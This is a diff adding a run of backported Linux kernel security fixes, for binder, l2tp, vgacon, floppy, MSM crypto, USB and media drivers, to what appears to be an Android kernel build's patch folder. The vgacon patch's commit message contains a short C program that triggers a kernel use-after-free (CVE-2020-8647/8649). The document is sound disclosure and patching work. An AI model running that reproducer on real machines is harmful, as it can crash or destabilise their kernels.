b/recipes-kernel/linux/linux-bass/autopatcher/0595-60ac75e40a33-PATCH UPSTREAM ANDROID binder synchronizercu when using.patch new file mode 100644 index 0000000..7ce507c --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0595-60ac75e40a33-PATCH UPSTREAM ANDROID binder synchronizercu when using.patch @@ -0,0 +1,42 @@ +From 60ac75e40a33e84f291c1a58ebe872a56e48a13e Mon Sep 17 00:00:00 2001 +From: Martijn Coenen +Date: Fri, 16 Feb 2018 09:47:15 +0100 +Subject: [PATCH] UPSTREAM: ANDROID: binder: synchronize_rcu() when using + POLLFREE. + +To prevent races with ep_remove_waitqueue() removing the +waitqueue at the same time. + +Reported-by: syzbot+a2a3c4909716e271487e@syzkaller.appspotmail.com +Signed-off-by: Martijn Coenen +Cc: stable # 4.14+ +Signed-off-by: Greg Kroah-Hartman +(cherry picked from commit 5eeb2ca02a2f6084fc57ae5c244a38baab07033a) + +Change-Id: Ia0089448079c78d0ab0b57303faf838e9e5ee797 +(cherry picked from commit dbeb1ffdd8de01845eb81e2b1d6045c17cc52741) +CVE-2019-2215 +--- + drivers/staging/android/binder.c | 9 +++++++++ + 1 file changed, 9 insertions(+) + +diff --git a/drivers/staging/android/binder.c b/drivers/staging/android/binder.c +index f4359f584d2..f3f46407007 100644 +--- a/drivers/staging/android/binder.c ++++ b/drivers/staging/android/binder.c +@@ -3178,6 +3178,15 @@ static int binder_free_thread(struct binder_proc *proc, + wake_up_poll(&thread->wait, POLLHUP | POLLFREE); + } + ++ /* ++ * This is needed to avoid races between wake_up_poll() above and ++ * and ep_remove_waitqueue() called for other reasons (eg the epoll file ++ * descriptor being closed); ep_remove_waitqueue() holds an RCU read ++ * lock, so we can be sure it's done after calling synchronize_rcu(). ++ */ ++ if (thread->looper & BINDER_LOOPER_STATE_POLL) ++ synchronize_rcu(); ++ + if (send_reply) + binder_send_failed_reply(send_reply, BR_DEAD_REPLY); + binder_release_work(&thread->todo); diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0596-b228a9406640-l2tp fix race between l2tpsessiondelete and.patch b/recipes-kernel/linux/linux-bass/autopatcher/0596-b228a9406640-l2tp fix race between l2tpsessiondelete and.patch new file mode 100644 index 0000000..5d34061 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0596-b228a9406640-l2tp fix race between l2tpsessiondelete and.patch @@ -0,0 +1,80 @@ +From b228a94066406b6c456321d69643b0d7ce11cfa6 Mon Sep 17 00:00:00 2001 +From: Guillaume Nault +Date: Fri, 22 Sep 2017 15:39:24 +0200 +Subject: l2tp: fix race between l2tp_session_delete() and + l2tp_tunnel_closeall() + +There are several ways to remove L2TP sessions: + + * deleting a session explicitly using the netlink interface (with + L2TP_CMD_SESSION_DELETE), + * deleting the session's parent tunnel (either by closing the + tunnel's file descriptor or using the netlink interface), + * closing the PPPOL2TP file descriptor of a PPP pseudo-wire. + +In some cases, when these methods are used concurrently on the same +session, the session can be removed twice, leading to use-after-free +bugs. + +This patch adds a 'dead' flag, used by l2tp_session_delete() and +l2tp_tunnel_closeall() to prevent them from stepping on each other's +toes. + +The session deletion path used when closing a PPPOL2TP file descriptor +doesn't need to be adapted. It already has to ensure that a session +remains valid for the lifetime of its PPPOL2TP file descriptor. +So it takes an extra reference on the session in the ->session_close() +callback (pppol2tp_session_close()), which is eventually dropped +in the ->sk_destruct() callback of the PPPOL2TP socket +(pppol2tp_session_destruct()). +Still, __l2tp_session_unhash() and l2tp_session_queue_purge() can be +called twice and even concurrently for a given session, but thanks to +proper locking and re-initialisation of list fields, this is not an +issue. + +Signed-off-by: Guillaume Nault +Signed-off-by: David S. Miller +--- + net/l2tp/l2tp_core.c | 6 ++++++ + net/l2tp/l2tp_core.h | 1 + + 2 files changed, 7 insertions(+) + +diff --git a/net/l2tp/l2tp_core.c b/net/l2tp/l2tp_core.c +index ee485df73ccdd..d8c2a89a76e18 100644 +--- a/net/l2tp/l2tp_core.c ++++ b/net/l2tp/l2tp_core.c +@@ -1314,6 +1314,9 @@ again: + + hlist_del_init(&session->hlist); + ++ if (test_and_set_bit(0, &session->dead)) ++ goto again; ++ + if (session->ref != NULL) + (*session->ref)(session); + +@@ -1750,6 +1753,9 @@ EXPORT_SYMBOL_GPL(__l2tp_session_unhash); + */ + int l2tp_session_delete(struct l2tp_session *session) + { ++ if (test_and_set_bit(0, &session->dead)) ++ return 0; ++ + if (session->ref) + (*session->ref)(session); + __l2tp_session_unhash(session); +diff --git a/net/l2tp/l2tp_core.h b/net/l2tp/l2tp_core.h +index a305e0c5925a2..70a12df40a5f0 100644 +--- a/net/l2tp/l2tp_core.h ++++ b/net/l2tp/l2tp_core.h +@@ -76,6 +76,7 @@ struct l2tp_session_cfg { + struct l2tp_session { + int magic; /* should be + * L2TP_SESSION_MAGIC */ ++ long dead; + + struct l2tp_tunnel *tunnel; /* back pointer to tunnel + * context */ +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0597.diff b/recipes-kernel/linux/linux-bass/autopatcher/0597.diff new file mode 100644 index 0000000..240b159 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0597.diff @@ -0,0 +1,36 @@ +diff --git a/drivers/hid/hid-input.c b/drivers/hid/hid-input.c +index d835893..7b07eda 100644 +--- a/drivers/hid/hid-input.c ++++ b/drivers/hid/hid-input.c +@@ -956,9 +956,15 @@ + } + + mapped: +- if (device->driver->input_mapped && device->driver->input_mapped(device, +- hidinput, field, usage, &bit, &max) < 0) +- goto ignore; ++ if (device->driver->input_mapped && ++ device->driver->input_mapped(device, hidinput, field, usage, ++ &bit, &max) < 0) { ++ /* ++ * The driver indicated that no further generic handling ++ * of the usage is desired. ++ */ ++ return; ++ } + + set_bit(usage->type, input->evbit); + +@@ -1017,9 +1023,11 @@ + set_bit(MSC_SCAN, input->mscbit); + } + +-ignore: + return; + ++ignore: ++ usage->type = 0; ++ usage->code = 0; + } + + void hidinput_hid_event(struct hid_device *hid, struct hid_field *field, struct hid_usage *usage, __s32 value) diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0598-513dc792d606-vgacon Fix a UAF in vgaconinvertregion.patch b/recipes-kernel/linux/linux-bass/autopatcher/0598-513dc792d606-vgacon Fix a UAF in vgaconinvertregion.patch new file mode 100644 index 0000000..5edcaa7 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0598-513dc792d606-vgacon Fix a UAF in vgaconinvertregion.patch @@ -0,0 +1,129 @@ +From 513dc792d6060d5ef572e43852683097a8420f56 Mon Sep 17 00:00:00 2001 +From: Zhang Xiaoxu +Date: Wed, 4 Mar 2020 10:24:29 +0800 +Subject: vgacon: Fix a UAF in vgacon_invert_region + +When syzkaller tests, there is a UAF: + BUG: KASan: use after free in vgacon_invert_region+0x9d/0x110 at addr + ffff880000100000 + Read of size 2 by task syz-executor.1/16489 + page:ffffea0000004000 count:0 mapcount:-127 mapping: (null) + index:0x0 + page flags: 0xfffff00000000() + page dumped because: kasan: bad access detected + CPU: 1 PID: 16489 Comm: syz-executor.1 Not tainted + Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS + rel-1.9.3-0-ge2fc41e-prebuilt.qemu-project.org 04/01/2014 + Call Trace: + [] dump_stack+0x1e/0x20 + [] kasan_report+0x577/0x950 + [] __asan_load2+0x62/0x80 + [] vgacon_invert_region+0x9d/0x110 + [] invert_screen+0xe5/0x470 + [] set_selection+0x44b/0x12f0 + [] tioclinux+0xee/0x490 + [] vt_ioctl+0xff4/0x2670 + [] tty_ioctl+0x46a/0x1a10 + [] do_vfs_ioctl+0x5bd/0xc40 + [] SyS_ioctl+0x132/0x170 + [] system_call_fastpath+0x22/0x27 + Memory state around the buggy address: + ffff8800000fff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 00 00 + ffff8800000fff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 + 00 00 00 + >ffff880000100000: ff ff ff ff ff ff ff ff ff ff ff ff ff + ff ff ff + +It can be reproduce in the linux mainline by the program: + #include + #include + #include + #include + #include + #include + #include + #include + + struct tiocl_selection { + unsigned short xs; /* X start */ + unsigned short ys; /* Y start */ + unsigned short xe; /* X end */ + unsigned short ye; /* Y end */ + unsigned short sel_mode; /* selection mode */ + }; + + #define TIOCL_SETSEL 2 + struct tiocl { + unsigned char type; + unsigned char pad; + struct tiocl_selection sel; + }; + + int main() + { + int fd = 0; + const char *dev = "/dev/char/4:1"; + + struct vt_consize v = {0}; + struct tiocl tioc = {0}; + + fd = open(dev, O_RDWR, 0); + + v.v_rows = 3346; + ioctl(fd, VT_RESIZEX, &v); + + tioc.type = TIOCL_SETSEL; + ioctl(fd, TIOCLINUX, &tioc); + + return 0; + } + +When resize the screen, update the 'vc->vc_size_row' to the new_row_size, +but when 'set_origin' in 'vgacon_set_origin', vgacon use 'vga_vram_base' +for 'vc_origin' and 'vc_visible_origin', not 'vc_screenbuf'. It maybe +smaller than 'vc_screenbuf'. When TIOCLINUX, use the new_row_size to calc +the offset, it maybe larger than the vga_vram_size in vgacon driver, then +bad access. +Also, if set an larger screenbuf firstly, then set an more larger +screenbuf, when copy old_origin to new_origin, a bad access may happen. + +So, If the screen size larger than vga_vram, resize screen should be +failed. This alse fix CVE-2020-8649 and CVE-2020-8647. + +Linus pointed out that overflow checking seems absent. We're saved by +the existing bounds checks in vc_do_resize() with rather strict +limits: + + if (cols > VC_RESIZE_MAXCOL || lines > VC_RESIZE_MAXROW) + return -EINVAL; + +Fixes: 0aec4867dca14 ("[PATCH] SVGATextMode fix") +Reference: CVE-2020-8647 and CVE-2020-8649 +Reported-by: Hulk Robot +Signed-off-by: Zhang Xiaoxu +[danvet: augment commit message to point out overflow safety] +Cc: stable@vger.kernel.org +Signed-off-by: Daniel Vetter +Link: https://patchwork.freedesktop.org/patch/msgid/20200304022429.37738-1-zhangxiaoxu5@huawei.com +--- + drivers/video/console/vgacon.c | 3 +++ + 1 file changed, 3 insertions(+) + +diff --git a/drivers/video/console/vgacon.c b/drivers/video/console/vgacon.c +index de7b8382aba99..998b0de1812f0 100644 +--- a/drivers/video/console/vgacon.c ++++ b/drivers/video/console/vgacon.c +@@ -1316,6 +1316,9 @@ static int vgacon_font_get(struct vc_data *c, struct console_font *font) + static int vgacon_resize(struct vc_data *c, unsigned int width, + unsigned int height, unsigned int user) + { ++ if ((width << 1) * height > vga_vram_size) ++ return -EINVAL; ++ + if (width % 2 || width > screen_info.orig_video_cols || + height > (screen_info.orig_video_lines * vga_default_font_height)/ + c->vc_font.height) +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0599-2e90ca68b0d2-floppy check FDC index for errors before assigning it.patch b/recipes-kernel/linux/linux-bass/autopatcher/0599-2e90ca68b0d2-floppy check FDC index for errors before assigning it.patch new file mode 100644 index 0000000..c2b4f2a --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0599-2e90ca68b0d2-floppy check FDC index for errors before assigning it.patch @@ -0,0 +1,64 @@ +From 2e90ca68b0d2f5548804f22f0dd61145516171e3 Mon Sep 17 00:00:00 2001 +From: Linus Torvalds +Date: Fri, 21 Feb 2020 12:43:35 -0800 +Subject: floppy: check FDC index for errors before assigning it + +Jordy Zomer reported a KASAN out-of-bounds read in the floppy driver in +wait_til_ready(). + +Which on the face of it can't happen, since as Willy Tarreau points out, +the function does no particular memory access. Except through the FDCS +macro, which just indexes a static allocation through teh current fdc, +which is always checked against N_FDC. + +Except the checking happens after we've already assigned the value. + +The floppy driver is a disgrace (a lot of it going back to my original +horrd "design"), and has no real maintainer. Nobody has the hardware, +and nobody really cares. But it still gets used in virtual environment +because it's one of those things that everybody supports. + +The whole thing should be re-written, or at least parts of it should be +seriously cleaned up. The 'current fdc' index, which is used by the +FDCS macro, and which is often shadowed by a local 'fdc' variable, is a +prime example of how not to write code. + +But because nobody has the hardware or the motivation, let's just fix up +the immediate problem with a nasty band-aid: test the fdc index before +actually assigning it to the static 'fdc' variable. + +Reported-by: Jordy Zomer +Cc: Willy Tarreau +Cc: Dan Carpenter +Signed-off-by: Linus Torvalds +--- + drivers/block/floppy.c | 7 +++++-- + 1 file changed, 5 insertions(+), 2 deletions(-) + +diff --git a/drivers/block/floppy.c b/drivers/block/floppy.c +index cd3612e4e2e14..8ef65c0856407 100644 +--- a/drivers/block/floppy.c ++++ b/drivers/block/floppy.c +@@ -853,14 +853,17 @@ static void reset_fdc_info(int mode) + /* selects the fdc and drive, and enables the fdc's input/dma. */ + static void set_fdc(int drive) + { ++ unsigned int new_fdc = fdc; ++ + if (drive >= 0 && drive < N_DRIVE) { +- fdc = FDC(drive); ++ new_fdc = FDC(drive); + current_drive = drive; + } +- if (fdc != 1 && fdc != 0) { ++ if (new_fdc >= N_FDC) { + pr_info("bad fdc value\n"); + return; + } ++ fdc = new_fdc; + set_dor(fdc, ~0, 8); + #if N_FDC > 1 + set_dor(1 - fdc, ~8, 0); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0600-b8e51a6a9db9-s390cmm fix information leak in cmmtimeouthandler.patch b/recipes-kernel/linux/linux-bass/autopatcher/0600-b8e51a6a9db9-s390cmm fix information leak in cmmtimeouthandler.patch new file mode 100644 index 0000000..0457e96 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0600-b8e51a6a9db9-s390cmm fix information leak in cmmtimeouthandler.patch @@ -0,0 +1,65 @@ +From b8e51a6a9db94bc1fb18ae831b3dab106b5a4b5f Mon Sep 17 00:00:00 2001 +From: Yihui ZENG +Date: Fri, 25 Oct 2019 12:31:48 +0300 +Subject: s390/cmm: fix information leak in cmm_timeout_handler() + +The problem is that we were putting the NUL terminator too far: + + buf[sizeof(buf) - 1] = '\0'; + +If the user input isn't NUL terminated and they haven't initialized the +whole buffer then it leads to an info leak. The NUL terminator should +be: + + buf[len - 1] = '\0'; + +Signed-off-by: Yihui Zeng +Cc: stable@vger.kernel.org +Signed-off-by: Dan Carpenter +[heiko.carstens@de.ibm.com: keep semantics of how *lenp and *ppos are handled] +Signed-off-by: Heiko Carstens +Signed-off-by: Vasily Gorbik +--- + arch/s390/mm/cmm.c | 12 ++++++------ + 1 file changed, 6 insertions(+), 6 deletions(-) + +diff --git a/arch/s390/mm/cmm.c b/arch/s390/mm/cmm.c +index 510a18299196..a51c892f14f3 100644 +--- a/arch/s390/mm/cmm.c ++++ b/arch/s390/mm/cmm.c +@@ -298,16 +298,16 @@ static int cmm_timeout_handler(struct ctl_table *ctl, int write, + } + + if (write) { +- len = *lenp; +- if (copy_from_user(buf, buffer, +- len > sizeof(buf) ? sizeof(buf) : len)) ++ len = min(*lenp, sizeof(buf)); ++ if (copy_from_user(buf, buffer, len)) + return -EFAULT; +- buf[sizeof(buf) - 1] = '\0'; ++ buf[len - 1] = '\0'; + cmm_skip_blanks(buf, &p); + nr = simple_strtoul(p, &p, 0); + cmm_skip_blanks(p, &p); + seconds = simple_strtoul(p, &p, 0); + cmm_set_timeout(nr, seconds); ++ *ppos += *lenp; + } else { + len = sprintf(buf, "%ld %ld\n", + cmm_timeout_pages, cmm_timeout_seconds); +@@ -315,9 +315,9 @@ static int cmm_timeout_handler(struct ctl_table *ctl, int write, + len = *lenp; + if (copy_to_user(buffer, buf, len)) + return -EFAULT; ++ *lenp = len; ++ *ppos += len; + } +- *lenp = len; +- *ppos += len; + return 0; + } + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0601-6b3e480f729f-crypto Fix possible stack out of bound error.patch b/recipes-kernel/linux/linux-bass/autopatcher/0601-6b3e480f729f-crypto Fix possible stack out of bound error.patch new file mode 100644 index 0000000..7309b30 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0601-6b3e480f729f-crypto Fix possible stack out of bound error.patch @@ -0,0 +1,34 @@ +From 6b3e480f729f291ec9e89e9864582795f02ac1d9 Mon Sep 17 00:00:00 2001 +From: Tanwee Kausar +Date: Mon, 10 Aug 2020 16:10:50 -0700 +Subject: crypto: Fix possible stack out of bound error + +Adding fix to check the upper limit on the length +of the destination array while copying elements from +source address to avoid stack out of bound error. + +Change-Id: Ieb24e8f9b4a2b53fbc9442b25d790b12f737d471 +Signed-off-by: Tanwee Kausar +--- + drivers/crypto/msm/qce50.c | 5 +++++ + 1 file changed, 5 insertions(+) + +diff --git a/drivers/crypto/msm/qce50.c b/drivers/crypto/msm/qce50.c +index 1ef5382..3890b683 100644 +--- a/drivers/crypto/msm/qce50.c ++++ b/drivers/crypto/msm/qce50.c +@@ -850,6 +850,11 @@ static int _ce_setup_cipher(struct qce_device *pce_dev, struct qce_req *creq, + switch (creq->alg) { + case CIPHER_ALG_DES: + if (creq->mode != QCE_MODE_ECB) { ++ if (ivsize > MAX_IV_LENGTH) { ++ pr_err("%s: error: Invalid length parameter\n", ++ __func__); ++ return -EINVAL; ++ } + _byte_stream_to_net_words(enciv32, creq->iv, ivsize); + pce = cmdlistinfo->encr_cntr_iv; + pce->data = enciv32[0]; +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0602-b2d624743de4-crypto Fix possible stack out of bound error.patch b/recipes-kernel/linux/linux-bass/autopatcher/0602-b2d624743de4-crypto Fix possible stack out of bound error.patch new file mode 100644 index 0000000..46a7b13 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0602-b2d624743de4-crypto Fix possible stack out of bound error.patch @@ -0,0 +1,34 @@ +From b2d624743de45b07bffc53224fa8987dd7199fae Mon Sep 17 00:00:00 2001 +From: Karthick Shanmugham +Date: Mon, 5 Oct 2020 18:46:14 +0530 +Subject: crypto: Fix possible stack out of bound error + +Adding fix to check the upper limit on the length +of the destination array while copying elements from +source address to avoid stack out of bound error. + +Signed-off-by: Karthick Shanmugham +Change-Id: I01cfc1ec1776a00010800846becc0b6ece17b9c8 +--- + drivers/crypto/msm/qce.c | 5 +++++ + 1 file changed, 5 insertions(+) + +diff --git a/drivers/crypto/msm/qce.c b/drivers/crypto/msm/qce.c +index 4cf95b9..e204dcc 100644 +--- a/drivers/crypto/msm/qce.c ++++ b/drivers/crypto/msm/qce.c +@@ -768,6 +768,11 @@ static int _ce_setup(struct qce_device *pce_dev, struct qce_req *q_req, + switch (q_req->alg) { + case CIPHER_ALG_DES: + if (q_req->mode != QCE_MODE_ECB) { ++ if (ivsize > MAX_IV_LENGTH) { ++ pr_err("%s: error: Invalid length parameter\n", ++ __func__); ++ return -EINVAL; ++ } + _byte_stream_to_net_words(enciv32, q_req->iv, ivsize); + writel_relaxed(enciv32[0], pce_dev->iobase + + CRYPTO_CNTR0_IV0_REG); +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0603-79856f1b189f-usb dwc3 ep0 Return from handlestatus if ep0delegatereq.patch b/recipes-kernel/linux/linux-bass/autopatcher/0603-79856f1b189f-usb dwc3 ep0 Return from handlestatus if ep0delegatereq.patch new file mode 100644 index 0000000..ef99bc6 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0603-79856f1b189f-usb dwc3 ep0 Return from handlestatus if ep0delegatereq.patch @@ -0,0 +1,47 @@ +From 79856f1b189faf189f8cf43e7222fc0b5138563e Mon Sep 17 00:00:00 2001 +From: Udipto Goswami +Date: Wed, 16 Sep 2020 17:20:10 +0530 +Subject: usb: dwc3: ep0: Return from handle_status if ep0_delegate_req + succeeds + +Currently if the controller receives a standard interface request +like 0x81 it goes to ep0_inspect_setup where on the basis of +bRequestType it calls ep0_std_request which calls handle_status. + +Since it is an interface request, it will further call +delegate_request which is handles in composite_setup and calls +ep0_queue. However, in the implementation of handle_status we have +an if check for return value of delegate request. If it returns +zero then instead of bailing out from there we break from the switch +and go to the return statement of handle_status, which is ep0_queue. +This results in queuing the same request two times resulting in a +list corruption due to double add. + +Fix this by returning from handle_status irrespective of the +return status as in case ep0_queue fails we are suppose to +bail out without doing anything. + +Change-Id: Ibfc99e9112b1173f2a22007a5e18b458904cefca +Signed-off-by: Udipto Goswami +--- + drivers/usb/dwc3/ep0.c | 4 +--- + 1 file changed, 1 insertion(+), 3 deletions(-) + +diff --git a/drivers/usb/dwc3/ep0.c b/drivers/usb/dwc3/ep0.c +index 68db8096..94abfc3 100644 +--- a/drivers/usb/dwc3/ep0.c ++++ b/drivers/usb/dwc3/ep0.c +@@ -400,9 +400,7 @@ static int dwc3_ep0_handle_status(struct dwc3 *dwc, + */ + + ret = dwc3_ep0_delegate_req(dwc, ctrl); +- if (ret) +- return ret; +- break; ++ return ret; + + case USB_RECIP_ENDPOINT: + dep = dwc3_wIndex_to_dep(dwc, ctrl->wIndex); +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0604-aa9f7d5172fa-mm mempolicy require at least one nodeid for MPOLPREFERRED.patch b/recipes-kernel/linux/linux-bass/autopatcher/0604-aa9f7d5172fa-mm mempolicy require at least one nodeid for MPOLPREFERRED.patch new file mode 100644 index 0000000..72415fa --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0604-aa9f7d5172fa-mm mempolicy require at least one nodeid for MPOLPREFERRED.patch @@ -0,0 +1,55 @@ +From aa9f7d5172fac9bf1f09e678c35e287a40a7b7dd Mon Sep 17 00:00:00 2001 +From: Randy Dunlap +Date: Wed, 1 Apr 2020 21:10:58 -0700 +Subject: mm: mempolicy: require at least one nodeid for MPOL_PREFERRED + +Using an empty (malformed) nodelist that is not caught during mount option +parsing leads to a stack-out-of-bounds access. + +The option string that was used was: "mpol=prefer:,". However, +MPOL_PREFERRED requires a single node number, which is not being provided +here. + +Add a check that 'nodes' is not empty after parsing for MPOL_PREFERRED's +nodeid. + +Fixes: 095f1fc4ebf3 ("mempolicy: rework shmem mpol parsing and display") +Reported-by: Entropy Moe <3ntr0py1337@gmail.com> +Reported-by: syzbot+b055b1a6b2b958707a21@syzkaller.appspotmail.com +Signed-off-by: Randy Dunlap +Signed-off-by: Andrew Morton +Tested-by: syzbot+b055b1a6b2b958707a21@syzkaller.appspotmail.com +Cc: Lee Schermerhorn +Link: http://lkml.kernel.org/r/89526377-7eb6-b662-e1d8-4430928abde9@infradead.org +Signed-off-by: Linus Torvalds +--- + mm/mempolicy.c | 6 +++++- + 1 file changed, 5 insertions(+), 1 deletion(-) + +diff --git a/mm/mempolicy.c b/mm/mempolicy.c +index 460683bbe58c8..5fb427aed6127 100644 +--- a/mm/mempolicy.c ++++ b/mm/mempolicy.c +@@ -2898,7 +2898,9 @@ int mpol_parse_str(char *str, struct mempolicy **mpol) + switch (mode) { + case MPOL_PREFERRED: + /* +- * Insist on a nodelist of one node only ++ * Insist on a nodelist of one node only, although later ++ * we use first_node(nodes) to grab a single node, so here ++ * nodelist (or nodes) cannot be empty. + */ + if (nodelist) { + char *rest = nodelist; +@@ -2906,6 +2908,8 @@ int mpol_parse_str(char *str, struct mempolicy **mpol) + rest++; + if (*rest) + goto out; ++ if (nodes_empty(nodes)) ++ goto out; + } + break; + case MPOL_INTERLEAVE: +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0605-998912346c0d-media ov519 add missing endpoint sanity checks.patch b/recipes-kernel/linux/linux-bass/autopatcher/0605-998912346c0d-media ov519 add missing endpoint sanity checks.patch new file mode 100644 index 0000000..b7a211f --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0605-998912346c0d-media ov519 add missing endpoint sanity checks.patch @@ -0,0 +1,54 @@ +From 998912346c0da53a6dbb71fab3a138586b596b30 Mon Sep 17 00:00:00 2001 +From: Johan Hovold +Date: Fri, 3 Jan 2020 17:35:09 +0100 +Subject: media: ov519: add missing endpoint sanity checks + +Make sure to check that we have at least one endpoint before accessing +the endpoint array to avoid dereferencing a NULL-pointer on stream +start. + +Note that these sanity checks are not redundant as the driver is mixing +looking up altsettings by index and by number, which need not coincide. + +Fixes: 1876bb923c98 ("V4L/DVB (12079): gspca_ov519: add support for the ov511 bridge") +Fixes: b282d87332f5 ("V4L/DVB (12080): gspca_ov519: Fix ov518+ with OV7620AE (Trust spacecam 320)") +Cc: stable # 2.6.31 +Cc: Hans de Goede +Signed-off-by: Johan Hovold +Signed-off-by: Hans Verkuil +Signed-off-by: Mauro Carvalho Chehab +--- + drivers/media/usb/gspca/ov519.c | 10 ++++++++++ + 1 file changed, 10 insertions(+) + +diff --git a/drivers/media/usb/gspca/ov519.c b/drivers/media/usb/gspca/ov519.c +index f417dfc0b8729..0afe70a3f9a2d 100644 +--- a/drivers/media/usb/gspca/ov519.c ++++ b/drivers/media/usb/gspca/ov519.c +@@ -3477,6 +3477,11 @@ static void ov511_mode_init_regs(struct sd *sd) + return; + } + ++ if (alt->desc.bNumEndpoints < 1) { ++ sd->gspca_dev.usb_err = -ENODEV; ++ return; ++ } ++ + packet_size = le16_to_cpu(alt->endpoint[0].desc.wMaxPacketSize); + reg_w(sd, R51x_FIFO_PSIZE, packet_size >> 5); + +@@ -3603,6 +3608,11 @@ static void ov518_mode_init_regs(struct sd *sd) + return; + } + ++ if (alt->desc.bNumEndpoints < 1) { ++ sd->gspca_dev.usb_err = -ENODEV; ++ return; ++ } ++ + packet_size = le16_to_cpu(alt->endpoint[0].desc.wMaxPacketSize); + ov518_reg_w32(sd, R51x_FIFO_PSIZE, packet_size & ~7, 2); + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0606-485b06aadb93-media stv06xx add missing descriptor sanity checks.patch b/recipes-kernel/linux/linux-bass/autopatcher/0606-485b06aadb93-media stv06xx add missing descriptor sanity checks.patch new file mode 100644 index 0000000..b76d25e --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0606-485b06aadb93-media stv06xx add missing descriptor sanity checks.patch @@ -0,0 +1,94 @@ +From 485b06aadb933190f4bc44e006076bc27a23f205 Mon Sep 17 00:00:00 2001 +From: Johan Hovold +Date: Fri, 3 Jan 2020 17:35:10 +0100 +Subject: media: stv06xx: add missing descriptor sanity checks + +Make sure to check that we have two alternate settings and at least one +endpoint before accessing the second altsetting structure and +dereferencing the endpoint arrays. + +This specifically avoids dereferencing NULL-pointers or corrupting +memory when a device does not have the expected descriptors. + +Note that the sanity checks in stv06xx_start() and pb0100_start() are +not redundant as the driver is mixing looking up altsettings by index +and by number, which may not coincide. + +Fixes: 8668d504d72c ("V4L/DVB (12082): gspca_stv06xx: Add support for st6422 bridge and sensor") +Fixes: c0b33bdc5b8d ("[media] gspca-stv06xx: support bandwidth changing") +Cc: stable # 2.6.31 +Cc: Hans de Goede +Signed-off-by: Johan Hovold +Signed-off-by: Hans Verkuil +Signed-off-by: Mauro Carvalho Chehab +--- + drivers/media/usb/gspca/stv06xx/stv06xx.c | 19 ++++++++++++++++++- + drivers/media/usb/gspca/stv06xx/stv06xx_pb0100.c | 4 ++++ + 2 files changed, 22 insertions(+), 1 deletion(-) + +diff --git a/drivers/media/usb/gspca/stv06xx/stv06xx.c b/drivers/media/usb/gspca/stv06xx/stv06xx.c +index 79653d4099516..95673fc0a99c5 100644 +--- a/drivers/media/usb/gspca/stv06xx/stv06xx.c ++++ b/drivers/media/usb/gspca/stv06xx/stv06xx.c +@@ -282,6 +282,9 @@ static int stv06xx_start(struct gspca_dev *gspca_dev) + return -EIO; + } + ++ if (alt->desc.bNumEndpoints < 1) ++ return -ENODEV; ++ + packet_size = le16_to_cpu(alt->endpoint[0].desc.wMaxPacketSize); + err = stv06xx_write_bridge(sd, STV_ISO_SIZE_L, packet_size); + if (err < 0) +@@ -306,11 +309,21 @@ out: + + static int stv06xx_isoc_init(struct gspca_dev *gspca_dev) + { ++ struct usb_interface_cache *intfc; + struct usb_host_interface *alt; + struct sd *sd = (struct sd *) gspca_dev; + ++ intfc = gspca_dev->dev->actconfig->intf_cache[0]; ++ ++ if (intfc->num_altsetting < 2) ++ return -ENODEV; ++ ++ alt = &intfc->altsetting[1]; ++ ++ if (alt->desc.bNumEndpoints < 1) ++ return -ENODEV; ++ + /* Start isoc bandwidth "negotiation" at max isoc bandwidth */ +- alt = &gspca_dev->dev->actconfig->intf_cache[0]->altsetting[1]; + alt->endpoint[0].desc.wMaxPacketSize = + cpu_to_le16(sd->sensor->max_packet_size[gspca_dev->curr_mode]); + +@@ -323,6 +336,10 @@ static int stv06xx_isoc_nego(struct gspca_dev *gspca_dev) + struct usb_host_interface *alt; + struct sd *sd = (struct sd *) gspca_dev; + ++ /* ++ * Existence of altsetting and endpoint was verified in ++ * stv06xx_isoc_init() ++ */ + alt = &gspca_dev->dev->actconfig->intf_cache[0]->altsetting[1]; + packet_size = le16_to_cpu(alt->endpoint[0].desc.wMaxPacketSize); + min_packet_size = sd->sensor->min_packet_size[gspca_dev->curr_mode]; +diff --git a/drivers/media/usb/gspca/stv06xx/stv06xx_pb0100.c b/drivers/media/usb/gspca/stv06xx/stv06xx_pb0100.c +index 6d1007715ff75..ae382b3b5f7f3 100644 +--- a/drivers/media/usb/gspca/stv06xx/stv06xx_pb0100.c ++++ b/drivers/media/usb/gspca/stv06xx/stv06xx_pb0100.c +@@ -185,6 +185,10 @@ static int pb0100_start(struct sd *sd) + alt = usb_altnum_to_altsetting(intf, sd->gspca_dev.alt); + if (!alt) + return -ENODEV; ++ ++ if (alt->desc.bNumEndpoints < 1) ++ return -ENODEV; ++ + packet_size = le16_to_cpu(alt->endpoint[0].desc.wMaxPacketSize); + + /* If we don't have enough bandwidth use a lower framerate */ +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0607-a246b4d54770-media xirlinkcit add 